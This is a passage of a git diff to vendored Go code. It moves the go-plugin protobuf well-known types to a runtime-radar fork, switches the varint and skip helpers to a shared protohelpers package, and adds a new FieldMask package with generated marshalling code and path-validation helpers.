fmt.Errorf("proto: wrong wireType = %d for field TypeUrl", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.TypeUrl = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Value", wireType) + } + var byteLen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + byteLen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if byteLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Value = append(m.Value[:0], dAtA[iNdEx:postIndex]...) + if m.Value == nil { + m.Value = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.go b/vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.go diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.pb.go similarity index 99% rename from vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.pb.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.pb.go index 8105397e..676d1877 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.pb.go +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.pb.go @@ -6,7 +6,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v5.29.3 +// protoc v7.34.1 // source: types/known/durationpb/duration.proto package durationpb diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.proto b/vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.proto similarity index 97% rename from vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.proto rename to vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.proto index e954cd78..3eb86e06 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration.proto +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration.proto @@ -7,7 +7,7 @@ syntax = "proto3"; package google.protobuf; -option go_package = "github.com/knqyf263/go-plugin/types/known/durationpb"; +option go_package = "github.com/runtime-radar/go-plugin/types/known/durationpb"; // A Duration represents a signed, fixed-length span of time represented // as a count of seconds and fractions of seconds at nanosecond diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration_vtproto.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration_vtproto.pb.go similarity index 58% rename from vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration_vtproto.pb.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration_vtproto.pb.go index f8719c27..552cabf4 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/durationpb/duration_vtproto.pb.go +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/durationpb/duration_vtproto.pb.go @@ -6,16 +6,16 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v5.29.3 +// protoc v7.34.1 // source: types/known/durationpb/duration.proto package durationpb import ( fmt "fmt" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" - bits "math/bits" ) const ( @@ -56,29 +56,18 @@ func (m *Duration) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Nanos != 0 { - i = encodeVarint(dAtA, i, uint64(m.Nanos)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Nanos)) i-- dAtA[i] = 0x10 } if m.Seconds != 0 { - i = encodeVarint(dAtA, i, uint64(m.Seconds)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Seconds)) i-- dAtA[i] = 0x8 } return len(dAtA) - i, nil } -func encodeVarint(dAtA []byte, offset int, v uint64) int { - offset -= sov(v) - base := offset - for v >= 1<<7 { - dAtA[offset] = uint8(v&0x7f | 0x80) - v >>= 7 - offset++ - } - dAtA[offset] = uint8(v) - return base -} func (m *Duration) SizeVT() (n int) { if m == nil { return 0 @@ -86,21 +75,15 @@ func (m *Duration) SizeVT() (n int) { var l int _ = l if m.Seconds != 0 { - n += 1 + sov(uint64(m.Seconds)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Seconds)) } if m.Nanos != 0 { - n += 1 + sov(uint64(m.Nanos)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Nanos)) } n += len(m.unknownFields) return n } -func sov(x uint64) (n int) { - return (bits.Len64(x|1) + 6) / 7 -} -func soz(x uint64) (n int) { - return sov(uint64((x << 1) ^ uint64((int64(x) >> 63)))) -} func (m *Duration) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 @@ -109,7 +92,7 @@ func (m *Duration) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -137,7 +120,7 @@ func (m *Duration) UnmarshalVT(dAtA []byte) error { m.Seconds = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -156,7 +139,7 @@ func (m *Duration) UnmarshalVT(dAtA []byte) error { m.Nanos = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -170,12 +153,12 @@ func (m *Duration) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -190,88 +173,3 @@ func (m *Duration) UnmarshalVT(dAtA []byte) error { } return nil } - -func skip(dAtA []byte) (n int, err error) { - l := len(dAtA) - iNdEx := 0 - depth := 0 - for iNdEx < l { - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - wireType := int(wire & 0x7) - switch wireType { - case 0: - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - iNdEx++ - if dAtA[iNdEx-1] < 0x80 { - break - } - } - case 1: - iNdEx += 8 - case 2: - var length int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - length |= (int(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - if length < 0 { - return 0, ErrInvalidLength - } - iNdEx += length - case 3: - depth++ - case 4: - if depth == 0 { - return 0, ErrUnexpectedEndOfGroup - } - depth-- - case 5: - iNdEx += 4 - default: - return 0, fmt.Errorf("proto: illegal wireType %d", wireType) - } - if iNdEx < 0 { - return 0, ErrInvalidLength - } - if depth == 0 { - return iNdEx, nil - } - } - return 0, io.ErrUnexpectedEOF -} - -var ( - ErrInvalidLength = fmt.Errorf("proto: negative length found during unmarshaling") - ErrIntOverflow = fmt.Errorf("proto: integer overflow") - ErrUnexpectedEndOfGroup = fmt.Errorf("proto: unexpected end of group") -) diff --git a/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.go b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.go new file mode 100644 index 00000000..a2034373 --- /dev/null +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.go @@ -0,0 +1,181 @@ +// Protocol Buffers - Google's data interchange format +// Copyright 2008 Google Inc. All rights reserved. +// Copyright 2022 Teppei Fukuda. All rights reserved. +// https://developers.google.com/protocol-buffers/ + +// Package fieldmaskpb contains a WASM-friendly copy of +// google.protobuf.FieldMask. The helpers in this file mirror upstream's +// reflection-free operations (Append, Union, Intersect, Normalize, IsValid). +// Reflection-dependent helpers (such as the upstream form of New/Append/IsValid +// that take a proto.Message and validate paths against its descriptor) are +// intentionally omitted because protoreflect cannot be used when plugins are +// compiled to wasip1. +package fieldmaskpb + +import "sort" + +// Append adds the given paths to the FieldMask in order. +// +// No validation is performed. Call IsValid afterwards if the input may be +// untrusted. +func (x *FieldMask) Append(paths ...string) { + x.Paths = append(x.Paths, paths...) +} + +// Union returns a new FieldMask whose paths are the union of the input masks' +// paths. The result is normalized (see Normalize). +func Union(masks ...*FieldMask) *FieldMask { + out := &FieldMask{} + for _, m := range masks { + if m == nil { + continue + } + out.Paths = append(out.Paths, m.Paths...) + } + out.Normalize() + return out +} + +// Intersect returns a new FieldMask containing only paths that are covered by +// every input mask. A path p is covered by a mask if the mask contains p or +// an ancestor of p at a path-segment boundary. The result is normalized. +// +// Calling Intersect with no masks returns an empty FieldMask. +func Intersect(masks ...*FieldMask) *FieldMask { + if len(masks) == 0 { + return &FieldMask{} + } + out := &FieldMask{Paths: append([]string(nil), masks[0].GetPaths()...)} + out.Normalize() + + for _, m := range masks[1:] { + next := append([]string(nil), m.GetPaths()...) + other := &FieldMask{Paths: next} + other.Normalize() + + var merged []string + for _, p := range out.Paths { + if covers(other.Paths, p) { + merged = append(merged, p) + } + } + for _, p := range other.Paths { + if covers(out.Paths, p) { + merged = append(merged, p) + } + } + out.Paths = merged + out.Normalize() + if len(out.Paths) == 0 { + return out + } + } + return out +} + +// Normalize sorts paths lexicographically and removes redundancy: duplicate +// paths are collapsed and any path covered by a parent path is dropped (if +// "foo" is in the mask, "foo.bar" is removed because the parent already +// designates everything beneath it). +func (x *FieldMask) Normalize() { + if x == nil || len(x.Paths) == 0 { + return + } + sort.Strings(x.Paths) + out := x.Paths[:0] + var last string + for i, p := range x.Paths { + if i > 0 && p == last { + continue + } + if last != "" && isDescendant(last, p) { + continue + } + out = append(out, p) + last = p + } + x.Paths = out +} + +// IsValid reports whether every path in the mask is syntactically well-formed: +// non-empty, dot-separated, with each segment matching [a-z][a-z0-9_]* (the +// proto field naming convention). +// +// NOTE: This differs from google.golang.org/protobuf/types/known/fieldmaskpb. +// Upstream's IsValid takes a proto.Message and additionally verifies each path +// resolves to an actual field on that message via the message descriptor. That +// descriptor-based check requires protoreflect, which is unavailable when +// plugins are compiled to WASM (wasip1) — the same reason go-plugin ships its +// own copies of the well-known types. Perform descriptor-based validation on +// the host side if you need it. +func (x *FieldMask) IsValid() bool { + if x == nil { + return false + } + for _, p := range x.Paths { + if !isValidPath(p) { + return false + } + } + return true +} + +// isDescendant reports whether child is a strict descendant of parent, where +// child has the form ".". +func isDescendant(parent, child string) bool { + if len(child) <= len(parent) { + return false + } + if child[:len(parent)] != parent { + return false + } + return child[len(parent)] == '.' +} + +// covers reports whether any path in mask is equal to p or a parent of p. +func covers(mask []string, p string) bool { + for _, m := range mask { + if m == p || isDescendant(m, p) { + return true + } + } + return false +} + +// isValidPath reports whether p is a syntactically valid FieldMask path: +// dot-separated, each segment matching [a-z][a-z0-9_]*. +func isValidPath(p string) bool { + if p == "" { + return false + } + segStart := 0 + for i := 0; i <= len(p); i++ { + if i == len(p) || p[i] == '.' { + if !isValidSegment(p[segStart:i]) { + return false + } + segStart = i + 1 + } + } + return true +} + +func isValidSegment(s string) bool { + if s == "" { + return false + } + if s[0] < 'a' || s[0] > 'z' { + return false + } + for i := 1; i < len(s); i++ { + c := s[i] + switch { + case c >= 'a' && c <= 'z': + case c >= '0' && c <= '9': + case c == '_': + default: + return false + } + } + return true +} diff --git a/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.pb.go new file mode 100644 index 00000000..13f71f40 --- /dev/null +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.pb.go @@ -0,0 +1,242 @@ +// Protocol Buffers - Google's data interchange format +// Copyright 2008 Google Inc. All rights reserved. +// Copyright 2022 Teppei Fukuda. All rights reserved. +// https://developers.google.com/protocol-buffers/ + +// Code generated by protoc-gen-go-plugin. DO NOT EDIT. +// versions: +// protoc-gen-go-plugin v0.1.0 +// protoc v7.34.1 +// source: types/known/fieldmaskpb/field_mask.proto + +package fieldmaskpb + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +// `FieldMask` represents a set of symbolic field paths, for example: +// +// paths: "f.a" +// paths: "f.b.d" +// +// Here `f` represents a field in some root message, `a` and `b` +// fields in the message found in `f`, and `d` a field found in the +// message in `f.b`. +// +// Field masks are used to specify a subset of fields that should be +// returned by a get operation or modified by an update operation. +// Field masks also have a custom JSON encoding (see below). +// +// # Field Masks in Projections +// +// When used in the context of a projection, a response message or +// sub-message is filtered by the API to only contain those fields as +// specified in the mask. For example, if the mask in the previous +// example is applied to a response message as follows: +// +// f { +// a : 22 +// b { +// d : 1 +// x : 2 +// } +// y : 13 +// } +// z: 8 +// +// The result will not contain specific values for fields x,y and z +// (their value will be set to the default, and omitted in proto text +// output): +// +// f { +// a : 22 +// b { +// d : 1 +// } +// } +// +// A repeated field is not allowed except at the last position of a +// paths string. +// +// If a FieldMask object is not present in a get operation, the +// operation applies to all fields (as if a FieldMask of all fields +// had been specified). +// +// Note that a field mask does not necessarily apply to the +// top-level response message. In case of a REST get operation, the +// field mask applies directly to the response, but in case of a REST +// list operation, the mask instead applies to each individual message +// in the returned resource list. In case of a REST custom method, +// other definitions may be used. Where the mask applies will be +// clearly documented together with its declaration in the API. In +// any case, the effect on the returned resource/resources is required +// behavior for APIs. +// +// # Field Masks in Update Operations +// +// A field mask in update operations specifies which fields of the +// targeted resource are going to be updated. The API is required +// to only change the values of the fields as specified in the mask +// and leave the others untouched. If a resource is passed in to +// describe the updated values, the API ignores the values of all +// fields not covered by the mask. +// +// If a repeated field is specified for an update operation, new values will +// be appended to the existing repeated field in the target resource. Note that +// a repeated field is only allowed in the last position of a `paths` string. +// +// If a sub-message is specified in the last position of the field mask for an +// update operation, then new value will be merged into the existing +// sub-message in the target resource. +// +// For example, given the target message: +// +// f { +// b { +// d: 1 +// x: 2 +// } +// c: [1] +// } +// +// And an update message: +// +// f { +// b { +// d: 10 +// } +// c: [2] +// } +// +// then if the field mask is: +// +// paths: ["f.b", "f.c"] +// +// then the result will be: +// +// f { +// b { +// d: 10 +// x: 2 +// } +// c: [1, 2] +// } +// +// An implementation may provide options to override this default behavior for +// repeated and message fields. +// +// In order to reset a field's value to the default, the field must +// be in the mask and set to the default value in the provided resource. +// Hence, in order to reset all fields of a resource, provide a default +// instance of the resource and set all fields in the mask, or do +// not provide a mask as described below. +// +// If a field mask is not present on update, the operation applies to +// all fields (as if a field mask of all fields has been specified). +// Note that in the presence of schema evolution, this may mean that +// fields the client does not know and has therefore not filled into +// the request will be reset to their default. If this is unwanted +// behavior, a specific service may require a client to always specify +// a field mask, producing an error if not. +// +// As with get operations, the location of the resource which +// describes the updated values in the request message depends on the +// operation kind. In any case, the effect of the field mask is +// required to be honored by the API. +// +// ## Considerations for HTTP REST +// +// The HTTP kind of an update operation which uses a field mask must +// be set to PATCH instead of PUT in order to satisfy HTTP semantics +// (PUT must only be used for full updates). +// +// # JSON Encoding of Field Masks +// +// In JSON, a field mask is encoded as a single string where paths are +// separated by a comma. Fields name in each path are converted +// to/from lower-camel naming conventions. +// +// As an example, consider the following message declarations: +// +// message Profile { +// User user = 1; +// string photo = 2; +// } +// message User { +// string display_name = 1; +// string address = 2; +// } +// +// In proto a field mask for `Profile` may look as such: +// +// mask { +// paths: "user.display_name" +// paths: "photo" +// } +// +// In JSON, the same mask is represented as below: +// +// { +// mask: "user.displayName,photo" +// } +// +// # Field Masks and Oneof Fields +// +// Field masks treat fields in oneofs just as regular fields. Consider the +// following message: +// +// message SampleMessage { +// oneof test_oneof { +// string name = 4; +// SubMessage sub_message = 9; +// } +// } +// +// The field mask can be: +// +// mask { +// paths: "name" +// } +// +// Or: +// +// mask { +// paths: "sub_message" +// } +// +// Note that oneof type names ("test_oneof" in this case) cannot be used in +// paths. +// +// ## Field Mask Verification +// +// The implementation of any API method which has a FieldMask type field in the +// request should verify the included field paths, and return an +// `INVALID_ARGUMENT` error if any path is unmappable. +type FieldMask struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // The set of field mask paths. + Paths []string `protobuf:"bytes,1,rep,name=paths,proto3" json:"paths,omitempty"` +} + +func (x *FieldMask) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *FieldMask) GetPaths() []string { + if x != nil { + return x.Paths + } + return nil +} diff --git a/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.proto b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.proto new file mode 100644 index 00000000..60a08994 --- /dev/null +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask.proto @@ -0,0 +1,214 @@ +// Protocol Buffers - Google's data interchange format +// Copyright 2008 Google Inc. All rights reserved. +// Copyright 2022 Teppei Fukuda. All rights reserved. +// https://developers.google.com/protocol-buffers/ + +syntax = "proto3"; + +package google.protobuf; + +option go_package = "github.com/runtime-radar/go-plugin/types/known/fieldmaskpb"; + +// `FieldMask` represents a set of symbolic field paths, for example: +// +// paths: "f.a" +// paths: "f.b.d" +// +// Here `f` represents a field in some root message, `a` and `b` +// fields in the message found in `f`, and `d` a field found in the +// message in `f.b`. +// +// Field masks are used to specify a subset of fields that should be +// returned by a get operation or modified by an update operation. +// Field masks also have a custom JSON encoding (see below). +// +// # Field Masks in Projections +// +// When used in the context of a projection, a response message or +// sub-message is filtered by the API to only contain those fields as +// specified in the mask. For example, if the mask in the previous +// example is applied to a response message as follows: +// +// f { +// a : 22 +// b { +// d : 1 +// x : 2 +// } +// y : 13 +// } +// z: 8 +// +// The result will not contain specific values for fields x,y and z +// (their value will be set to the default, and omitted in proto text +// output): +// +// +// f { +// a : 22 +// b { +// d : 1 +// } +// } +// +// A repeated field is not allowed except at the last position of a +// paths string. +// +// If a FieldMask object is not present in a get operation, the +// operation applies to all fields (as if a FieldMask of all fields +// had been specified). +// +// Note that a field mask does not necessarily apply to the +// top-level response message. In case of a REST get operation, the +// field mask applies directly to the response, but in case of a REST +// list operation, the mask instead applies to each individual message +// in the returned resource list. In case of a REST custom method, +// other definitions may be used. Where the mask applies will be +// clearly documented together with its declaration in the API. In +// any case, the effect on the returned resource/resources is required +// behavior for APIs. +// +// # Field Masks in Update Operations +// +// A field mask in update operations specifies which fields of the +// targeted resource are going to be updated. The API is required +// to only change the values of the fields as specified in the mask +// and leave the others untouched. If a resource is passed in to +// describe the updated values, the API ignores the values of all +// fields not covered by the mask. +// +// If a repeated field is specified for an update operation, new values will +// be appended to the existing repeated field in the target resource. Note that +// a repeated field is only allowed in the last position of a `paths` string. +// +// If a sub-message is specified in the last position of the field mask for an +// update operation, then new value will be merged into the existing +// sub-message in the target resource. +// +// For example, given the target message: +// +// f { +// b { +// d: 1 +// x: 2 +// } +// c: [1] +// } +// +// And an update message: +// +// f { +// b { +// d: 10 +// } +// c: [2] +// } +// +// then if the field mask is: +// +// paths: ["f.b", "f.c"] +// +// then the result will be: +// +// f { +// b { +// d: 10 +// x: 2 +// } +// c: [1, 2] +// } +// +// An implementation may provide options to override this default behavior for +// repeated and message fields. +// +// In order to reset a field's value to the default, the field must +// be in the mask and set to the default value in the provided resource. +// Hence, in order to reset all fields of a resource, provide a default +// instance of the resource and set all fields in the mask, or do +// not provide a mask as described below. +// +// If a field mask is not present on update, the operation applies to +// all fields (as if a field mask of all fields has been specified). +// Note that in the presence of schema evolution, this may mean that +// fields the client does not know and has therefore not filled into +// the request will be reset to their default. If this is unwanted +// behavior, a specific service may require a client to always specify +// a field mask, producing an error if not. +// +// As with get operations, the location of the resource which +// describes the updated values in the request message depends on the +// operation kind. In any case, the effect of the field mask is +// required to be honored by the API. +// +// ## Considerations for HTTP REST +// +// The HTTP kind of an update operation which uses a field mask must +// be set to PATCH instead of PUT in order to satisfy HTTP semantics +// (PUT must only be used for full updates). +// +// # JSON Encoding of Field Masks +// +// In JSON, a field mask is encoded as a single string where paths are +// separated by a comma. Fields name in each path are converted +// to/from lower-camel naming conventions. +// +// As an example, consider the following message declarations: +// +// message Profile { +// User user = 1; +// string photo = 2; +// } +// message User { +// string display_name = 1; +// string address = 2; +// } +// +// In proto a field mask for `Profile` may look as such: +// +// mask { +// paths: "user.display_name" +// paths: "photo" +// } +// +// In JSON, the same mask is represented as below: +// +// { +// mask: "user.displayName,photo" +// } +// +// # Field Masks and Oneof Fields +// +// Field masks treat fields in oneofs just as regular fields. Consider the +// following message: +// +// message SampleMessage { +// oneof test_oneof { +// string name = 4; +// SubMessage sub_message = 9; +// } +// } +// +// The field mask can be: +// +// mask { +// paths: "name" +// } +// +// Or: +// +// mask { +// paths: "sub_message" +// } +// +// Note that oneof type names ("test_oneof" in this case) cannot be used in +// paths. +// +// ## Field Mask Verification +// +// The implementation of any API method which has a FieldMask type field in the +// request should verify the included field paths, and return an +// `INVALID_ARGUMENT` error if any path is unmappable. +message FieldMask { + // The set of field mask paths. + repeated string paths = 1; +} diff --git a/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask_vtproto.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask_vtproto.pb.go new file mode 100644 index 00000000..55973512 --- /dev/null +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/fieldmaskpb/field_mask_vtproto.pb.go @@ -0,0 +1,168 @@ +// Protocol Buffers - Google's data interchange format +// Copyright 2008 Google Inc. All rights reserved. +// Copyright 2022 Teppei Fukuda. All rights reserved. +// https://developers.google.com/protocol-buffers/ + +// Code generated by protoc-gen-go-plugin. DO NOT EDIT. +// versions: +// protoc-gen-go-plugin v0.1.0 +// protoc v7.34.1 +// source: types/known/fieldmaskpb/field_mask.proto + +package fieldmaskpb + +import ( + fmt "fmt" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + io "io" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +func (m *FieldMask) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FieldMask) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *FieldMask) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Paths) > 0 { + for iNdEx := len(m.Paths) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Paths[iNdEx]) + copy(dAtA[i:], m.Paths[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Paths[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *FieldMask) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Paths) > 0 { + for _, s := range m.Paths { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *FieldMask) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FieldMask: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FieldMask: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Paths", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Paths = append(m.Paths, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.go b/vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.go diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.pb.go similarity index 98% rename from vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.pb.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.pb.go index 1a366e8a..5e8ca055 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.pb.go +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.pb.go @@ -6,7 +6,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v5.29.3 +// protoc v7.34.1 // source: types/known/timestamppb/timestamp.proto package timestamppb diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.proto b/vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.proto similarity index 89% rename from vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.proto rename to vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.proto index 68426024..196d0719 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp.proto +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp.proto @@ -7,7 +7,7 @@ syntax = "proto3"; package google.protobuf; -option go_package = "github.com/knqyf263/go-plugin/types/known/timestamppb"; +option go_package = "github.com/runtime-radar/go-plugin/types/known/timestamppb"; message Timestamp { // Represents seconds of UTC time since Unix epoch diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp_vtproto.pb.go 